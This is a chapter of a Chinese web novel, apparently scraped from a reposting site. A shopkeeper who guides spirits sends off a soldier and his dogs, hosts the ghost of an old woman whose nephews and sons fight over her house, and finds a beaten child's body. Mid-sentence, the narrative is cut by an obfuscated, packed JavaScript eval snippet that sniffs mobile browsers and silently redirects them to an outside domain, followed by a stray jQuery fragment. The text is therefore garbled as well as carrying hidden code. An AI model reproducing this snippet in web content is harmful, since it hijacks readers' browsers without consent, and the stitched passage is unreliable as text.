次日，幸芝早早闭店，准备送张添离开，她将剩余供品沿街摆放供野鬼自取。
因着临近清明，路边野鬼叫平日又多了些。
有无法归家的旅人在路边焚烧香烛，偶有不知规矩的随意寻了位置便焚烧纸钱，尚不等自家亲人到场，便被野鬼哄抢一空。
幸芝的供奉让那些跋涉千里享受烟火的不至于扑了个空。
饶是空阔的街头，在幸芝眼里却也忙忙碌碌。
鬼差并未说明准确时间，张添自日暮便坐在茶餐厅外，幸芝仍是像往常一般备下茶点。
张添道：“你会不会觉得我可恨？”
幸芝摇头：“我们受过您的恩惠，心里对您只有感激之情。”
“可我让她白白等了四十余年。是我对不起他。”
她仍是摇头道：“您当时承诺是真心的，所有您爱人等您也是真心的。真心换真心，没有谁对不起谁。”
“真心是最靠不住的。”张添开口说：“虎子也好，大黑背也好，都是真心的，可结果呢。”
幸芝没有回答，她已经看到鬼差站在巷口，紧跟在他身边的是一只通体金色毛发的大黄狗，大黄狗之后是一条黑背，只是黑背隐约能瞧见黑白相间的纹路。
大黄狗发出人声：“我虽被分食，却救下七条性命，这是我的功德。”
黑背汪汪叫了两声，磨蹭到少年膝前。
张田搂着它的背脊，化作点点星光。
文春躲在门后不由感慨道：“是战争，让他们骨肉分离。”
“也许，他们从未分离。”
******
送走张添后，幸芝领着文春来到一处院落。
老旧的四合院样式，院中有一棵梧桐树，此时已是枝繁叶茂，伸长着枝桠似乎想将整个小院拥入怀中。
树下有秋千，麻绳已经斑驳，约莫许久没有人将这秋千荡起。
幸芝便在秋千上坐下，轻晃身躯，将整个小院尽收眼底。
石桌上有来不及收拾的碗筷，一碗青菜，几片黄瓜和一盏没有吃完的白米稀粥。
树影下，一间屋子亮着昏黄灯光，窗户上有人影移动。
幸芝只是在院中打量，文春却是好奇，趴在床边听着里面动静，片刻便气呼呼骂道：“什么呀！人还没走，这些人就惦记着产业，钱钱钱，就知道钱！”
一道模糊身影自她身后穿墙而出，停在幸芝面前道：“有劳了。”
这位老太太，名唤田有芳。
身上还穿着生前的棉绸汗衫，肩上处磨损眼中，有零星几个破洞。看来争执财产的后人并未提前准备寿衣，更没有发现老人已经断气。
预料中的哭声并未传来，幸芝问老人是否要停留片刻。
老太太摇摇头道：“不用了，他们要翻存折之类的，会看见我藏在床下的寿衣。反正都是一把火烧了，我不计较这些。”
幸芝将老人带回茶餐厅，她会在这里呆十个日夜，等肉身成灰入土为安后便可入轮回。她很勤快，勤快得让文春有了危机。
“老太太不会想留下来吧。”
“不会，有人来接她。”
“啊，她今天已经擦四遍地，玻璃门窗也擦来擦去，你说她是不是有洁癖啊。”
“她只是担心不够勤快而遭人厌弃。”
幸芝顺手将门前存放枯叶的竹篓打翻，故意惊呼两声，田有芳便立刻出现道：“莫急，我来收拾，你们进去喝喝茶，歇息歇息。”
“辛苦你了，田婶。”
田有芳脸上挂着笑意，苍白的面色透着些许红晕，砸吧着嘴角回味着。已经有些年没人唤她田婶了，她丈夫死得早，留下两个孩子，公婆是地道本分的庄稼汉，半辈子泥浆裹腿，人到中年痛失一子，公婆跟着接连倒下。那时，好在有叔子帮衬着些，日子虽然难过，倒也勉强能活下去。后来她操持着叔子成家，又接连照顾两个新生命，也没拖两个孩子后腿，至少有书可读。
本该一切都好起来时，叔子惨遭意外撒手人寰，妯娌拉着她的手说自己不能一辈子像她一样活着，狠心丢在两个孩子。田有芳带着那两个刚上小学的孩子，一天打六份工，攒自己孩子的学杂费，攒叔子两个娃娃的生活费。
她虽然苦，心里却是安定，毕竟那时候叔子也这般帮衬过她。自己的孩子眼看也大了，等将来成了家她的负担也就轻了。
不料，分歧早已埋下。
亲生的埋怨她。叔子家的也嫌恶她。
妯娌拎着几包零食几身衣服，孩子的心也跟着飞了。
田有芳总惦记着在叔子坟前的承诺，连滚带爬将四个孩子拉成家，她已经蹉跎半生，满头白发，能做的工作也不要她，她早上替别人扫大街，中午和晚上去餐馆洗碗，入夜就上街头拾荒。许是常年劳作，她身体出奇的好，就连头疼脑热也少有。
人到迟暮总算攒了些傍身钱。
两万块。
她攒了一辈子。
收拾桥洞下的几身衣裳回了乡下，老房子已是破烂不堪，院子里积满梧桐树的枯叶。可她多勤快啊，三两日的功夫便将小院收拾得整整齐齐，又陆陆续续给孩子们打电话，说只要她在家就在。
四个孩子在电话里敷衍着说忙，等有时间就回去。
年前说过年，过年又说节后，过了正月说清明，过了五一说十一……
就这么又过了两年，政策变动，近郊的四合院要拆迁，许久没有回来的四个孩子不知从哪里得到消息，不约而同的赶在签协议前出现在院子。
田有芳想着拆迁款不多，四个孩子均分得了。后面两个孩子不乐意，说大伯走得早这屋子是他们爹娘起的，就这土坯子是他们那个死鬼爹一趟趟从田里运回来的。
田有芳觉得是这么个道理。
自己亲生的两个又不肯，小叔早就不在了，自己的亲娘为这两个弟弟辛苦一生理应多分些，落到他们名下应该占大头才是。
四个人吵得天昏地暗，浑然没有瞧见田有芳瘦骨嶙峋的面容。
田有芳撑着身子给他们做了桌团圆菜，打了酒斩了卤货，一杯热酒下肚，她说自己还有些存款，谁要是觉得不够，就把她那点钱也分了吧。
小儿子闲了着，指着田有芳叫骂，问她到底生了谁，说自己媳妇生孩子，请她上门照顾，她说老小的要中考，自己摔了腰老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15969144|176217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小家的要高考。
“你是他们娘，是他们亲娘！”
叔子家老大巴掌拍得直响质问二哥说自己亲娘还在省城呢。
“你搁这儿给谁难看呢。你们两个要买房子结婚，你妈可是掏了家底，我想要本辅导书，她也去垃圾堆里翻，那书都糊了屎回来丢给我用！”
“糊了屎不也把你喂大了！”
大儿子呛回去一句。
这几年，四个人一见面就剑拔虏张，恨不得囊死对方。
田有芳不由想起那时，叔子刚出事，妯娌回了娘家，她一个人领着四个孩子，也是初夏，屋里太热便支了凉席睡在梧桐树下，四个孩子睡在一排，一把蒲扇摇了一夜，也不知道自己什么时候睡着了。
醒来时，老大熬了锅稀饭，小儿子领着大弟在井边打水搓衣裳，最小那个盘腿坐在她身边，学着她的样子一下一下摇着芭蕉扇，见她醒来揉着眼睛喊婶娘。
他们还说将来要买大房子，大家仍住在一起，最大那间留给她，再请一屋子人照顾她。
田有芳笑啊笑，笑着过完一生。
“你不恨他们吗？”
文春问。
田有芳摇头道：“自己肚子里下来的，恨不起来的。”
“那另外两个呢，你恨吗？”
仍是摇头道：“他们啊，也就是借着别人肚子出来，终归是我的崽。怪我，能力有限，都爱，都想匀均，结果都成了空。”
文春不理解，嘀咕道：“换做是我，恨死他们了。”
田有芳也只是笑笑，继续忙自己的。她把地擦了又擦，玻璃抹了又抹，后厨里里外外干净得犹如新屋。
文春跟在她身后道：“你若是我亲娘，我一定舍不得你吃这些苦。”
田有芳一愣僵在原地，许久后才开口道：“这话，他们也说过。”
文春跺脚去找幸芝告状，见幸芝蹲在店门前的灌木丛旁。
“姐姐，我要被气死了，这些人简直……”
“嘘。”
幸芝做了个噤声，低声道：“去，叫田婶过来。”
越过她的肩头，文春瞧见灌木丛里躺着个赤身露|体的孩子，约莫两三岁的模样,蜷缩着身体上大块青紫伤痕。
苍白的身体只剩皮包骨，残破不堪。
文春叫来田有芳，只见她脱下身上棉绸短褂小心翼翼地将孩子抱起。
“他怎么了？”
“嗯，死了。”
幸芝转身走回店里，取出灯笼骨指轻蘸烛油抹在孩子的额头。因是新死，孩子仍保持着临死前的状态，双手抱头似在躲避着什么。
茶餐厅里站满了来吃食的老饕，玻璃窗上也攀着野鬼，等待目睹这孩子短暂的一生。
幸芝似有所感，骨指挥动，一道幕布似的屏障落在墙上。
从呱呱坠地的满心欢喜，到视若珍宝的婴童时期，婴儿的笑声充斥整个茶餐厅。忽然某个时期开始，他的视角开始变得灰暗，他被藏在一个纸箱子里，塞进移动的车厢，啼哭到嘶哑也无人理会，饿极了他就伏在纸箱上不断吮吸，纸箱子破了，耳边传来老妇的呵斥声。
巴掌像雨点般落下。